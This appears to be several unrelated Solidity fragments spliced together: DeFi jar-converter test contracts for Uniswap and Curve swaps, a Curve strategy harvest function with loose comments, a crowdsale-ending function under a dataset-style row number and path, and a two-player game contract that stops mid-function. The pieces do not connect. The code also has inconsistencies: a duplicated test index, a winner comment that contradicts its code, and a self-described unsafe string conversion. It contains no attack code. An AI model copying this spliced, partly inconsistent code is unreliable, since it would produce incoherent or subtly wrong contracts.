_get_uniswap_remove_liquidity_data(address pair) internal pure returns (bytes memory) { return abi.encodeWithSignature("removeLiquidity(address)", pair); } function _get_uniswap_lp_tokens_to_primitive(address from, address to) internal pure returns (bytes memory) { return abi.encodeWithSignature( "lpTokensToPrimitive(address,address)", from, to ); } function _get_curve_add_liquidity_data( address curve, bytes4 curveFunctionSig, uint256 curvePoolSize, uint256 curveUnderlyingIndex, address underlying ) internal pure returns (bytes memory) { return abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", curve, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, underlying ); } // Some post swap checks // Checks if there's any leftover funds in the converter contract function _post_swap_check(uint256 fromIndex, uint256 toIndex) internal { IERC20 token0 = uniPickleJars[fromIndex].token(); IERC20 token1 = curvePickleJars[toIndex].token(); // No funds left behind assertEq(uniPickleJars[fromIndex].balanceOf(address(controller)), 0); assertEq(curvePickleJars[toIndex].balanceOf(address(controller)), 0); assertEq(token0.balanceOf(address(controller)), 0); assertEq(token1.balanceOf(address(controller)), 0); assertEq(IERC20(wbtc).balanceOf(address(controller)), 0); // assertEq(IERC20(usdt).balanceOf(address(controller)), 0); // assertEq(IERC20(usdc).balanceOf(address(controller)), 0); // assertEq(IERC20(susd).balanceOf(address(controller)), 0); // assertEq(IERC20(dai).balanceOf(address(controller)), 0); // No balance left behind! assertEq(token1.balanceOf(address(this)), 0); // Make sure only controller can call 'withdrawForSwap' try uniStrategies[fromIndex].withdrawForSwap(0) { revert("!withdraw-for-swap-only-controller"); } catch {} } function _test_check_treasury_fee(uint256 _amount, uint256 earned) internal { assertEqApprox( _amount.mul(controller.convenienceFee()).div( controller.convenienceFeeMax() ), earned.mul(2) ); } function _test_swap_and_check_balances( address fromPickleJar, address toPickleJar, address fromPickleJarUnderlying, uint256 fromPickleJarUnderlyingAmount, address payable[] memory targets, bytes[] memory data ) internal { uint256 _beforeTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _beforeFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _beforeDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _beforeTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 _ret = controller.swapExactJarForJar( fromPickleJar, toPickleJar, fromPickleJarUnderlyingAmount, 0, // Min receive amount targets, data ); uint256 _afterTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _afterFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _afterDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _afterTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 treasuryEarned = _afterTreasury.sub(_beforeTreasury); assertEq(treasuryEarned, _afterDev.sub(_beforeDev)); assertTrue(treasuryEarned > 0); _test_check_treasury_fee(fromPickleJarUnderlyingAmount, treasuryEarned); assertTrue(_afterFrom < _beforeFrom); assertTrue(_afterTo > _beforeTo); assertTrue(_afterTo.sub(_beforeTo) > 0); assertEq(_afterTo.sub(_beforeTo), _ret); assertEq(_afterFrom, 0); } function _test_uni_curve_swap( uint256 fromIndex, uint256 toIndex, uint256 amount, address payable[] memory targets, bytes[] memory data ) internal { // Deposit into PickleJars address from = address(uniPickleJars[fromIndex].token()); _getUniLP(from, 1e18, amount); uint256 _from = IERC20(from).balanceOf(address(this)); IERC20(from).approve(address(uniPickleJars[fromIndex]), _from); uniPickleJars[fromIndex].deposit(_from); uniPickleJars[fromIndex].earn(); // Swap! uint256 _fromPickleJar = IERC20(address(uniPickleJars[fromIndex])) .balanceOf(address(this)); IERC20(address(uniPickleJars[fromIndex])).approve( address(controller), _fromPickleJar ); // Check minimum amount try controller.swapExactJarForJar( address(uniPickleJars[fromIndex]), address(curvePickleJars[toIndex]), _fromPickleJar, uint256(-1), // Min receive amount targets, data ) { revert("min-amount-should-fail"); } catch {} _test_swap_and_check_balances( address(uniPickleJars[fromIndex]), address(curvePickleJars[toIndex]), from, _fromPickleJar, targets, data ); _post_swap_check(fromIndex, toIndex); } // **** Tests **** // function test_jar_converter_uni_curve_0_0() public { uint256 fromIndex = 0; uint256 toIndex = 0; uint256 amount = 400e18; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 3; address curveUnderlying = dai; uint256 curveUnderlyingIndex = 0; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_1_0() public { uint256 fromIndex = 1; uint256 toIndex = 0; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 3; address curveUnderlying = dai; uint256 curveUnderlyingIndex = 0; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_2_0() public { uint256 fromIndex = 2; uint256 toIndex = 0; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 3; address curveUnderlying = dai; uint256 curveUnderlyingIndex = 0; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_3_0() public { uint256 fromIndex = 3; uint256 toIndex = 0; uint256 amount = 4e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 3; address curveUnderlying = dai; uint256 curveUnderlyingIndex = 0; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_0_1() public { uint256 fromIndex = 0; uint256 toIndex = 1; uint256 amount = 400e18; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 4; address curveUnderlying = usdt; uint256 curveUnderlyingIndex = 2; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_1_1() public { uint256 fromIndex = 1; uint256 toIndex = 1; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 4; address curveUnderlying = usdt; uint256 curveUnderlyingIndex = 2; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_2_1() public { uint256 fromIndex = 2; uint256 toIndex = 1; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 4; address curveUnderlying = usdt; uint256 curveUnderlyingIndex = 2; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_3_1() public { uint256 fromIndex = 3; uint256 toIndex = 1; uint256 amount = 4e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 4; address curveUnderlying = usdt; uint256 curveUnderlyingIndex = 2; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_4_1() public { uint256 fromIndex = 3; uint256 toIndex = 1; uint256 amount = 4e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 4; address curveUnderlying = usdt; uint256 curveUnderlyingIndex = 2; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_0_2() public { uint256 fromIndex = 0; uint256 toIndex = 2; uint256 amount = 400e18; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 2; address curveUnderlying = wbtc; uint256 curveUnderlyingIndex = 1; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[2],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_1_2() public { uint256 fromIndex = 1; uint256 toIndex = 2; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 2; address curveUnderlying = wbtc; uint256 curveUnderlyingIndex = 1; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[2],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_2_2() public { uint256 fromIndex = 2; uint256 toIndex = 2; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 2; address curveUnderlying = wbtc; uint256 curveUnderlyingIndex = 1; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[2],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_3_2() public { uint256 fromIndex = 3; uint256 toIndex = 2; uint256 amount = 4e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 2; address curveUnderlying = wbtc; uint256 curveUnderlyingIndex = 1; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[2],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } } contract StrategyUniUniJarSwapTest is DSTestDefiBase { address governance; address strategist; address devfund; address treasury; address timelock; IStrategy[] uniStrategies; PickleJar[] uniPickleJars; ControllerV4 controller; CurveProxyLogic curveProxyLogic; UniswapV2ProxyLogic uniswapV2ProxyLogic; address[] uniUnderlying; function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); // Uni strategies uniStrategies = new IStrategy[](4); uniUnderlying = new address[](uniStrategies.length); uniPickleJars = new PickleJar[](uniStrategies.length); uniUnderlying[0] = dai; uniStrategies[0] = IStrategy( address( new StrategyUniEthDaiLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[1] = usdc; uniStrategies[1] = IStrategy( address( new StrategyUniEthUsdcLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[2] = usdt; uniStrategies[2] = IStrategy( address( new StrategyUniEthUsdtLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[3] = wbtc; uniStrategies[3] = IStrategy( address( new StrategyUniEthWBtcLpV2( governance, strategist, address(controller), timelock ) ) ); for (uint256 i = 0; i < uniStrategies.length; i++) { uniPickleJars[i] = new PickleJar( uniStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( uniStrategies[i].want(), address(uniPickleJars[i]) ); controller.approveStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); controller.setStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); } curveProxyLogic = new CurveProxyLogic(); uniswapV2ProxyLogic = new UniswapV2ProxyLogic(); controller.approveJarConverter(address(curveProxyLogic)); controller.approveJarConverter(address(uniswapV2ProxyLogic)); hevm.warp(startTime); } function _getUniLP( address lp, uint256 ethAmount, uint256 otherAmount ) internal { IUniswapV2Pair fromPair = IUniswapV2Pair(lp); address other = fromPair.token0() != weth ? fromPair.token0() : fromPair.token1(); _getERC20(other, otherAmount); uint256 _other = IERC20(other).balanceOf(address(this)); IERC20(other).safeApprove(address(univ2), 0); IERC20(other).safeApprove(address(univ2), _other); univ2.addLiquidityETH{value: ethAmount}( other, _other, 0, 0, address(this), now + 60 ); } function _get_swap_lp_data( address from, address to, address dustRecipient ) internal pure returns (bytes memory) { return abi.encodeWithSignature( "swapUniLPTokens(address,address,address)", from, to, dustRecipient ); } function _post_swap_check(uint256 fromIndex, uint256 toIndex) internal { IERC20 token0 = uniPickleJars[fromIndex].token(); IERC20 token1 = uniPickleJars[toIndex].token(); uint256 MAX_DUST = 10; // No funds left behind assertEq(uniPickleJars[fromIndex].balanceOf(address(controller)), 0); assertEq(uniPickleJars[toIndex].balanceOf(address(controller)), 0); assertTrue(token0.balanceOf(address(controller)) < MAX_DUST); assertTrue(token1.balanceOf(address(controller)) < MAX_DUST); // Make sure only controller can call 'withdrawForSwap' try uniStrategies[fromIndex].withdrawForSwap(0) { revert("!withdraw-for-swap-only-controller"); } catch {} } function _test_check_treasury_fee(uint256 _amount, uint256 earned) internal { assertEqApprox( _amount.mul(controller.convenienceFee()).div( controller.convenienceFeeMax() ), earned.mul(2) ); } function _test_swap_and_check_balances( address fromPickleJar, address toPickleJar, address fromPickleJarUnderlying, uint256 fromPickleJarUnderlyingAmount, address payable[] memory targets, bytes[] memory data ) internal { uint256 _beforeTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _beforeFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _beforeDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _beforeTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 _ret = controller.swapExactJarForJar( fromPickleJar, toPickleJar, fromPickleJarUnderlyingAmount, 0, // Min receive amount targets, data ); uint256 _afterTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _afterFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _afterDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _afterTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 treasuryEarned = _afterTreasury.sub(_beforeTreasury); assertEq(treasuryEarned, _afterDev.sub(_beforeDev)); assertTrue(treasuryEarned > 0); _test_check_treasury_fee(fromPickleJarUnderlyingAmount, treasuryEarned); assertTrue(_afterFrom < _beforeFrom); assertTrue(_afterTo > _beforeTo); assertTrue(_afterTo.sub(_beforeTo) > 0); assertEq(_afterTo.sub(_beforeTo), _ret); assertEq(_afterFrom, 0); } function _test_uni_uni( uint256 fromIndex, uint256 toIndex, uint256 amount, address payable[] memory targets, bytes[] memory data ) internal { address from = address(uniPickleJars[fromIndex].token()); _getUniLP(from, 1e18, amount); uint256 _from = IERC20(from).balanceOf(address(this)); IERC20(from).approve(address(uniPickleJars[fromIndex]), _from); uniPickleJars[fromIndex].deposit(_from); uniPickleJars[fromIndex].earn(); // Swap! uint256 _fromPickleJar = IERC20(address(uniPickleJars[fromIndex])) .balanceOf(address(this)); IERC20(address(uniPickleJars[fromIndex])).approve( address(controller), _fromPickleJar ); // Check minimum amount try controller.swapExactJarForJar( address(uniPickleJars[fromIndex]), address(uniPickleJars[toIndex]), _fromPickleJar, uint256(-1), // Min receive amount targets, data ) { revert("min-amount-should-fail"); } catch {} _test_swap_and_check_balances( address(uniPickleJars[fromIndex]), address(uniPickleJars[toIndex]), from, _fromPickleJar, targets, data ); _post_swap_check(fromIndex, toIndex); } // **** Tests **** function test_jar_converter_uni_uni_0() public { uint256 fromIndex = 0; uint256 toIndex = 1; uint256 amount = 400e18; address fromUnderlying = uniUnderlying[fromIndex]; address from = univ2Factory.getPair(weth, fromUnderlying); address toUnderlying = uniUnderlying[toIndex]; address to = univ2Factory.getPair(weth, toUnderlying); _test_uni_uni( fromIndex, toIndex, amount, _getDynamicArray(payable(address(uniswapV2ProxyLogic))), _getDynamicArray(_get_swap_lp_data(from, to, treasury)) ); } function test_jar_converter_uni_uni_1() public { uint256 fromIndex = 0; uint256 toIndex = 2; uint256 amount = 400e18; address fromUnderlying = uniUnderlying[fromIndex]; address from = univ2Factory.getPair(weth, fromUnderlying); address toUnderlying = uniUnderlying[toIndex]; address to = univ2Factory.getPair(weth, toUnderlying); _test_uni_uni( fromIndex, toIndex, amount, _getDynamicArray(payable(address(uniswapV2ProxyLogic))), _getDynamicArray(_get_swap_lp_data(from, to, treasury)) ); } function test_jar_converter_uni_uni_2() public { uint256 fromIndex = 2; uint256 toIndex = 3; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address from = univ2Factory.getPair(weth, fromUnderlying); address toUnderlying = uniUnderlying[toIndex]; address to = univ2Factory.getPair(weth, toUnderlying); _test_uni_uni( fromIndex, toIndex, amount, _getDynamicArray(payable(address(uniswapV2ProxyLogic))), _getDynamicArray(_get_swap_lp_data(from, to, treasury)) ); } function test_jar_converter_uni_uni_3() public { uint256 fromIndex = 3; uint256 toIndex = 2; uint256 amount = 4e6; address fromUnderlying = uniUnderlying[fromIndex]; address from = univ2Factory.getPair(weth, fromUnderlying); address toUnderlying = uniUnderlying[toIndex]; address to = univ2Factory.getPair(weth, toUnderlying); _test_uni_uni( fromIndex, toIndex, amount, _getDynamicArray(payable(address(uniswapV2ProxyLogic))), _getDynamicArray(_get_swap_lp_data(from, to, treasury)) ); } }
Anyone can harvest it at any given time. I understand the possibility of being frontrun But ETH is a dark forest, and I wanna see how this plays out i.e. will be be heavily frontrunned? if so, a new strategy will be deployed. stablecoin we want to convert to Collects crv tokens Don't bother voting in v1 x% is sent back to the rewards holder to be used to lock up in as veCRV in a future date
function harvest() public onlyBenevolent override { (address to, uint256 toIndex) = getMostPremium(); ICurveMintr(mintr).mint(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax); if (_keepCRV > 0) { IERC20(crv).safeTransfer( IController(controller).treasury(), _keepCRV ); } _crv = _crv.sub(_keepCRV); _swapUniswap(crv, to, _crv); } ICurveGauge(gauge).claim_rewards(address(this)); uint256 _snx = IERC20(snx).balanceOf(address(this)); if (_snx > 0) { _swapUniswap(snx, to, _snx); } uint256 _to = IERC20(to).balanceOf(address(this)); if (_to > 0) { IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[4] memory liquidity; liquidity[toIndex] = _to; ICurveFi_4(curve).add_liquidity(liquidity, 0); } _distributePerformanceFeesAndDeposit(); }
7,450,310
./full_match/42/0x4089059f91E58BCa0d34328bf71764a8863953c1/sources/contracts/SaleToken.sol
Burning when time condition meetSend Back to MANAGER3
function endCrowdsale() public payable { require(msg.sender == governance); require(is_started, "Not started"); is_started = false; if(block.timestamp >= (1619370000 + 14*24*60*60)){ dnft.approve(address(this), dnft.balanceOf(address(this))/2); dnft.burnFrom(address(this), dnft.balanceOf(address(this))/2); dnft.transfer(MANAGER3, dnft.balanceOf(address(this))); } emit CrowdSaleEnd(TOTAL_ROUND_AMOUNT, RATE); }
9,584,533
pragma solidity ^0.4.18; /* * This contract holds most of the internal logic, of * my game. There are also couple of helper methods. */ contract TwoPlayerGame { /* * Constructor. */ /* * Simple initialization for this entity. * Will set, the current head of LL, to special modifier - `end`. */ function TwoPlayerGame() public { openGamesByIdHead = 'end'; } /* * Variables. */ /* Represent one game. */ struct Game { /* Number of player for the game. (Currently is not supported -> always 2.) */ uint8 numberOfPlayers; /* Addresses of players engaged in current game. */ address player1; address player2; /* Real-name(NickNames) of players in the game. */ string player1Alias; string player2Alias; /* Proportions of the game panel. */ uint8 sizeX; uint8 sizeY; /* The address of the player, who moves next. Initially is set to the first-player. */ address nextPlayer; /* True, if the game have ended. */ bool isEnded; /* Is true, when the game is not searchable anymore. */ bool isClosed; /* If the game have ended, the game have a winner -> stores winner address. */ address winner; string winnerName; } /* All games, that ever happened. */ mapping (bytes32 => Game) public gamesById; /* * Currently open games, represented as linked list(LL). * Head, represents, the `head` of the list -> the most new object. * * Open as `open for joining` == `lack second player`. */ mapping (bytes32 => bytes32) public openGamesById; bytes32 public openGamesByIdHead; /* * Core functions. */ /* * This function creates the game itself. * Can be called, only * * string player1Alias - NickName of the player that creates the game. * uint8 boardSizeX - X-axis dimension size of the board. * uint8 boardSizeY - Y-axis dimension size of the board. * uint8 numberOfPlayers - Total number of player needed for the game to run. * bool isFirst - if true, this player will go first. */ function _initGame( string player1Alias, uint8 boardSizeX, uint8 boardSizeY, uint8 numberOfPlayers, bool isFirst ) internal returns (bytes32) { /* Generate game id based on player's addresses and current block number. */ bytes32 gameId = keccak256(msg.sender, block.number, now); /* * The board, must have at least place for one square. * Not a lot of meaning behind this rule, yet. */ require(boardSizeX >= 2 && boardSizeY >= 2); /* The game must have at least two players, for it to be multilayer game. */ require(numberOfPlayers >= 2); gamesById[gameId].isEnded = false; gamesById[gameId].isClosed = false; gamesById[gameId].sizeX = boardSizeX; gamesById[gameId].sizeY = boardSizeY; gamesById[gameId].numberOfPlayers = numberOfPlayers; /* Set info about first player. */ gamesById[gameId].player1 = msg.sender; gamesById[gameId].player1Alias = player1Alias; if (isFirst == true) { gamesById[gameId].nextPlayer = msg.sender; } /* Since the game became open -> add to openGamesById. */ openGamesById[gameId] = openGamesByIdHead; openGamesByIdHead = gameId; return gameId; } /* * Close a game(if it may be closed). * * bytes32 gameId - the id of the closing game. */ function _closeGame(bytes32 gameId) internal { /* Get the GameLogic object from global mapping. */ Game storage game = gamesById[gameId]; /* GameLogic was started, however second player haven't connected yet. */ require(game.player2 == 0); /* GameLogic can be closed only by involved player. */ require(msg.sender == game.player1); /* If game was open -> close it. */ removeGameFromOpenGames(gameId); game.isClosed = true; } /* * Join already existing game by id. * * bytes32 gameId - ID of the game to join. * string player2Alias - NickName of the player that wants to join the game. */ function _joinGame(bytes32 gameId, string player2Alias) internal { /* Get the GameLogic object from global mapping. */ Game storage game = gamesById[gameId]; /* First, check that game does't already have a second player. */ require(game.player2 == 0); /* Then set the game details. */ game.player2 = msg.sender; game.player2Alias = player2Alias; if (game.nextPlayer == 0) { game.nextPlayer = msg.sender; } /* Close game, since second player arrived -> remove from openGamesById. */ removeGameFromOpenGames(gameId); game.isClosed = true; } /* * Surrender the game. * * bytes32 gameId - Id of a game, in which sender want to surrender. */ function _surrender(bytes32 gameId) internal { /* Get the GameLogic object from global mapping. */ Game storage game = gamesById[gameId]; /* First, check, that there are two players in the game. */ require( (game.player1 != 0) && (game.player2 != 0) ); /* The game must be already closed new players. */ require(game.isClosed); /* If game have already ended -> trow. */ require(game.winner == 0); /* Set up, the winner and loser. */ if (game.player1 == msg.sender) { /* player1 surrendered -> player2 won. */ game.winner = game.player2; game.winnerName = game.player2Alias; } else if(game.player2 == msg.sender) { /* player2 surrendered -> player1 won. */ game.winner = game.player1; game.winnerName = game.player1Alias; } else { /* Sender is'n related to this game. */ revert(); } /* Mark, that the game had ended. */ game.isEnded = true; } /* * This function, just preforms the player term rotation. * * bytes32 gameId - ID of the game, where move is preformed. * bool scored - if true, the scored player wil get one more move. */ function _makeMove(bytes32 gameId, bool scored) internal { if (!scored) { /* Get the GameLogic object from global mapping. */ Game storage game = gamesById[gameId]; /* Set up nextPlayer, based on the rules. */ if (msg.sender == game.player1) { game.nextPlayer = game.player2; } else { game.nextPlayer = game.player1; } } } /* * This function is called, when we already had determined the logical winner, * i.e. that the game came to it's logical end(no more moves). * * bytes32 gameId - Id of a game, in where last move have been made. * int8 winChoice - Represents winner * -1 if player1 won, * 1 if player2 won, * 0 if is a tie. */ function _finishGame(bytes32 gameId, int8 winChoice) internal { /* Get the GameLogic object from global mapping. */ Game storage game = gamesById[gameId]; /* Set up, the winner. */ if (winChoice == 1) { /* player1 won. */ game.winner = game.player1; game.winnerName = game.player1Alias; } else if (winChoice == -1) { /* player2 won. */ game.winner = game.player2; game.winnerName = game.player2Alias; } else if (winChoice == 0) { /* No winner -> a tie. */ game.winner = 0; game.winnerName = ''; } else { /* Strange state -> trow some error. */ revert(); } /* Mark, that the game had ended. */ game.isEnded = true; } /* * Inner helper functions. */ /* * Internal function, that removes game from openGamesById LL. * * bytes32 gameId - ID of the game to remove from LL. */ function removeGameFromOpenGames(bytes32 gameId) internal { if (openGamesByIdHead == gameId) { /* If is head -> detach it, and zero-out. */ openGamesByIdHead = openGamesById[openGamesByIdHead]; openGamesById[gameId] = 0x0; } else { /* Otherwise unroll the LL, until needed, zero-out the element, relink the list. */ for (var g = openGamesByIdHead; g != 'end' && openGamesById[g] != 'end'; g = openGamesById[g]) { if (openGamesById[g] == gameId) { openGamesById[g] = openGamesById[gameId]; openGamesById[gameId] = 0x0; break; } } } } /* * This is really unsafe hack, that preforms conversion of string to bytes32. * * For simplicity purpose, just don't use long strings please with something non ASCII-symbols. */ function stringToBytes32(string memory source) internal pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } /* * Public helper functions. */ /* * Using small hack, return list of all currently open games. */ function getOpenGameIds() public view returns (bytes32[], bytes32[], uint8[], uint8[], uint8[], bool[]) { /* Count total number of different open games. */ uint256 counter = 0; for (var ga = openGamesByIdHead; ga != 